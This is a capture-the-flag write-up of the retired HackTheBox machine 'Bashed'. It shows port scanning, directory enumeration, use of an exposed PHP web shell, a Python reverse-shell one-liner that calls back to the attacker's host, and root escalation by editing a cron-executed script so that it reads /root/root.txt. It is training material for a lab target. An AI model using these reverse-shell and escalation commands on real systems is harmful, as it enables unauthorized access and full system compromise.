HackTheBox Bashed - NO Metasploit

Ari Kalfus | Aug 13, 2020 min read

This series will follow my exercises in HackTheBox. All published writeups are for retired HTB machines. Whether or not I use Metasploit to pwn the server will be indicated in the title.


Difficulty: Easy

Machine IP:

The initial port scan returns only 1 port active, a web server.

sudo nmap -sS -T4 -p-
[sudo] password for artis3n: 
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-07 11:03 EDT
Nmap scan report for
Host is up (0.016s latency).
Not shown: 65534 closed ports
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 11.63 seconds
sudo nmap -A -sC -sV -p 80
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-07 11:04 EDT
Nmap scan report for
Host is up (0.013s latency).

80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Arrexel's Development Site
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.12 (95%), Linux 3.13 (95%), Linux 3.16 (95%), Linux 3.18 (95%), Linux 3.2 - 4.9 (95%), Linux 3.8 - 3.11 (95%), Linux 4.8 (95%), Linux 4.4 (95%), Linux 4.2 (95%), ASUS RT-N56U WAP (Linux 3.4) (95%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops

TRACEROUTE (using port 80/tcp)
1   11.83 ms
2   11.98 ms

In particular, I note that it is an Apache httpd server likely running version 2.4.18.

Let’s enumerate. My absolute favorite web directory enumeration tool is gobuster.

gobuster dir -w /usr/share/seclists/Discovery/Web-Content/big.txt -t 30 -u
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
[+] Url:  
[+] Threads:        30
[+] Wordlist:       /usr/share/seclists/Discovery/Web-Content/big.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
2020/06/07 11:10:03 Starting gobuster
/.htpasswd (Status: 403)
/.htaccess (Status: 403)
/css (Status: 301)
/dev (Status: 301)
/fonts (Status: 301)
/images (Status: 301)
/js (Status: 301)
/php (Status: 301)
/server-status (Status: 403)
/uploads (Status: 301)
2020/06/07 11:10:16 Finished

/dev looks interesting! Navigating to this directory reveals some PHP scripts.

phpbash dev dir

Hmmm… Navigating to /dev/phpbash.php gives me a semi-interactive web shell as the www-data user.

phpbash terminal

I can cat the user flag straight from this terminal. I can get a reverse shell back to my host machine with python:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

It is important to change the s.connect(("",443)); section to what is applicable for your host.

Now for information gathering to find a privilege escalation vector. Let’s get a TTY shell before I do anything else.

# In reverse shell
SHELL=/bin/bash script -q /dev/null
# ctrl+z (background netcat reverse shell)
stty raw -echo
reset # Re-initialize the backgrounded reverse shell

sudo -l informs me that we can run any command as the scriptmanager user without needing a password.

sudo -l

Matching Defaults entries for www-data on bashed:
    env_reset, mail_badpass,

User www-data may run the following commands on bashed:
    (scriptmanager : scriptmanager) NOPASSWD: ALL

So, let’s go ahead and pivot to the scriptmanager user. This won’t work if your TTY shell is not set up correctly.

sudo -u scriptmanager /bin/bash

Given the name of the user is scriptmanager, I imagine this user has some scripts on the system that it has access to manage. I check for all files on the system owned by this user.

find / -type f -user scriptmanager 2>/dev/null 

Well, /scripts/test.py stands out. Looking at the contents of this file, I see it opens a file and writes out a test string. It also appears that the created test.txt file is owned by root, so there is likely a cron job running on the system where root executes the code in test.py. Interesting!

test.py script

This means we can modify the test.py file and wait for root to execute the code. I tried creating a reverse shell script, but I had TTY errors that I did not resolve.

#!/usr/bin/env python
import socket,subprocess,os
s.connect(("", 454))

On my host:

listening on [any] 454 ...
connect to [] from (UNKNOWN) [] 40738
/bin/sh: 0: can't access tty; job control turned off

Reviewing this code while writing this article, I realized I missed os.dup2(s.fileno(),0) in my python file. Try that out and you should get a reverse shell back to your machine.

However, I opted to have the script write the root.txt contents to the test file.

#!/usr/bin/env python

p = open("/root/root.txt", "r")
contents = p.read()
f = open("test.txt", "w")

This allows me to then read the test.txt file for the root flag.

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